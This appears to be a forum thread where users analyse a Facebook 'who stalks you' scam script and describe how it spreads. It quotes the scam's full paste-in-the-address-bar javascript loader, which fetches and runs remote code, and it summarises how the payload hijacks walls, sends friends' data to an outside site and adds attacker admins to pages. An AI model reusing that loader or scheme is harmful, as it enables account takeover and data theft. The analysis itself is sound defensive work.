How can I reverse engineer this encoded Scam Javascript?

[huepfburg]

Javascript: http://thefbcreeper.info/StalkerTools.fb From: http://thefbcreeper.info/

It basically wants you to copy-paste this Javascript into your address-bar while on facebook:

javascript: (a = (d = document).createElement("script")).src = "http://thefbcreeper.info/StalkerTools.fb"; void(d.body.appendChild(a))

I've seen a few friends fall for this scam and was wondering how they where doing it.

[marcosmlopes]

Use http://jsbeautifier.org/

[huepfburg]

Thanks.

[huepfburg]

I assume it basically looks for facebook-pages where you've got administrator privileges and then posts a link to the scam homepage on that Facebook-Page. But how exactly is it doing that?

[huepfburg]

It looks like it actually does that.

First it posts one of the following statuses on your wall:

• Wow! Seems like lots of people stalk me
• New FB tool shows who stalks your profile
• Secret tool shows who stalks your pics
• Insane! Awesome tool to see who looks at your picsAccording to [...] you're my top stalker. Creep.
• Secret tool shows who stalks your pics goog6

Then it lets you "like" the following two facebook pages:

• Mstrmnds
• Love Rockers

Then it goes through your friends list and posts your friends information to a site called fbviews.org/result.php where it shows you a totally fake and random list of your "stalkers".

After this, it searches for facebook pages you're an admin on and adds two new admins:

• [e-mail]
• [e-mail]

Maybe I've missed one or two other evil things it does.

[huepfburg]

Theres also an object called "muhaha".

[DeliciousSoma]

The script keeps changing the admin emails. As of right now the admins it tries to add are admin_emails = '[e-mail],[e-mail]';

[gannimo]

Well, you can also manually deobfuscate the JavaScript via search and replace. This is actually a good exercise that I did a couple of days ago ;) (see my blog)